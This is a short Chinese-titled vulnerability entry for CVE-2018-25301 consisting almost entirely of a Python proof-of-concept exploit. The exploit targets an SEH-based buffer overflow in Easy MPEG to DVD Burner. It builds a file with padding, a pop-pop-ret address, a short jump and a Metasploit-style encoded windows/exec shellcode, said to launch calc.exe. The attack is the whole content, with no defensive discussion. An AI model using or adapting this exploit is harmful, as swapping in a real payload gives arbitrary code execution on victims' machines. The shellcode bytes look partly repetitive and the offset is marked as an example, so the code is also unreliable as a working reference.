CVE-2018-25301 Easy MPEG缓冲区溢出漏洞

#!/usr/bin/env python # PoC for CVE-2018-25301 - Easy MPEG to DVD Burner SEH Overflow # Offset to overwrite SEH structure (Example value) offset = 4104 # "pop pop ret" instruction address to bypass SEH # Note: This address depends on the OS version and application modules seh_handler = "\x57\x20\x40\x00" # Jump instruction to skip the SEH handler and land in shellcode # \xeb\x06 is JMP SHORT +6 next_seh = "\xeb\x06\x90\x90" # Shellcode to execute calc.exe (Example) # This is a standard metasploit windows/exec payload shellcode = ("\xd9\xc4\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42" "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" "\x4a\x49\x4b\x4c\x4d\x38\x4b\x59\x5a\x45\x4f\x4d\x38\x49\x55" "\x47\x4c\x43\x30\x45\x50\x4c\x49\x4d\x55\x47\x34\x4c\x4b" "\x51\x46\x50\x44\x4c\x4b\x51\x56\x44\x44\x4c\x4b\x52\x46" "\x54\x34\x4c\x4b\x52\x46\x47\x50\x4c\x4b\x51\x46\x44\x44" "\x4c\x4b\x52\x56\x51\x56\x4c\x4b\x44\x46\x50\x30\x4c\x4b" "\x51\x5a\x55\x4c\x4c\x4d\x4c\x45\x4b\x69\x4a\x58\x46\x44" "\x4e\x31\x4b\x4a\x44\x4c\x4a\x50\x49\x4c\x4c\x4a\x4d\x49" "\x50\x42\x54\x45\x57\x49\x51\x48\x4f\x44\x4f\x48\x4d\x49" "\x51\x47\x55\x4f\x4c\x4d\x50\x53\x4b\x4d\x4c\x30\x43\x45" "\x4f\x4b\x47\x37\x43\x35\x51\x48\x4f\x44\x4f\x48\x4d\x4b" "\x4f\x43\x45\x4f\x4b\x4c\x30\x48\x35\x49\x58\x45\x4e\x4d" "\x30\x43\x45\x4a\x54\x50\x50\x4c\x49\x4e\x48\x4b\x39\x4a" "\x46\x46\x30\x50\x56\x4a\x4f\x4e\x48\x4f\x55\x49\x58\x45" "\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54\x4b\x4f\x4e\x36\x46" "\x32\x4b\x4f\x50\x55\x45\x4c\x45\x36\x51\x4c\x4d\x34\x4a" "\x4c\x45\x50\x4a\x4c\x4d\x34\x49\x58\x44\x4c\x4b\x39\x4c" "\x54\x42\x44\x45\x4c\x4e\x4a\x4b\x39\x4e\x36\x46\x54\x46" "\x34\x51\x39\x50\x54\x4c\x4b\x51\x46\x50\x30\x4c\x4b\x51" "\x50\x44\x4c\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x50\x30\x47" "\x4c\x4e\x4d\x4c\x4b\x43\x58\x47\x58\x4a\x4f\x48\x59\x4c" "\x55\x4e\x34\x46\x51\x48\x49\x4a\x44\x4d\x33\x51\x4d\x4a" "\x4b\x4f\x4b\x4f\x4b\x4f\x4f\x4f\x49\x4f\x4e\x4f\x4d\x30" "\x4c\x4c\x4d\x30\x50\x44\x51\x5a\x45\x51\x48\x4f\x44\x4f" "\x48\x4d\x48\x35\x48\x56\x4a\x36\x4e\x33\x45\x36\x4a\x58" "\x50\x49\x49\x4f\x49\x4f\x49\x4f\x45\x30\x45\x38\x43\x4e" "\x48\x45\x51\x44\x43\x53\x4d\x59\x4a\x42\x45\x31\x49\x52" "\x4a\x4f\x43\x44\x51\x4b\x51\x4b\x4b\x4f\x48\x50\x42\x48" "\x51\x4e\x46\x36\x43\x35\x49\x52\x4a\x4f\x43\x44\x45\x51" "\x48\x4f\x44\x4f\x48\x4d\x4f\x4f\x4f\x4f\x4b\x4f\x4e\x4f" "\x4b\x39") # Padding to align payload padding = "\x90" * 20 # Construct the final payload payload = "A" * offset + next_seh + seh_handler + padding + shellcode try: with open("exploit.txt", "w") as f: f.write(payload) print("[+] Payload created successfully in 'exploit.txt'") print("[+] Length: %d" % len(payload)) except: print("[-] Error creating file.")